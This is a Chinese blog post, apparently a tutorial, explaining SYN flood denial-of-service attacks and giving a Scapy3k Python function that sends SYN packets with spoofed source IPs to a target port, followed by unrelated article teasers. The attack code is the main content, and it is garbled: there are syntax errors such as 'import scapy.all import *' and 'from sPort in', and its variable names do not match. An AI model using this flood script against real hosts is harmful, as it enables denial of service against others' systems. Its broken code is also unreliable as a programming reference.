Python项目 基于Scapy实现SYN泛洪攻击的方法

yipeiwu_com7年前Python基础

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持【听图阁-专注于Python设计】。

相关文章

Python中正则表达式详解

基础篇 正则表达式在python中运用的非常多,因为他可以进行任意的匹配,可以匹配我们想要提取的信息。当我们接触正则的时候你就会知道正则的强大。正则有一个库re 在一些工程中我们会经常调...

对Pytorch神经网络初始化kaiming分布详解

对Pytorch神经网络初始化kaiming分布详解

函数的增益值 torch.nn.init.calculate_gain(nonlinearity, param=None) 提供了对非线性函数增益值的计算。 增益值gain是一个...

python定位xpath 节点位置的方法

chrome 右键有copy xpath地址 但是有些时候获取的可能不对 可以自己用代码验证一下 如果还是不行 可以考虑从源码当中取出来 趁热打铁,使用前一篇文章中 XPath 节点来定...

Python 调用Java实例详解

Python 调用Java实例详解 前言: Python 对服务器端编程不如Java 所以这方面可能要调用Java代码 前提: Linux 环境  1 安装 jpype1 安...

详解基于python的多张不同宽高图片拼接成大图

详解基于python的多张不同宽高图片拼接成大图

半年前写过一篇将多张图片拼接成大图的博客,是讲的把所有图片先转换为256×256的图片后再进行拼接,今天看到一个朋友的评论说如何拼接非正方形图片,如47×57,之前有个朋友也问过这个,我...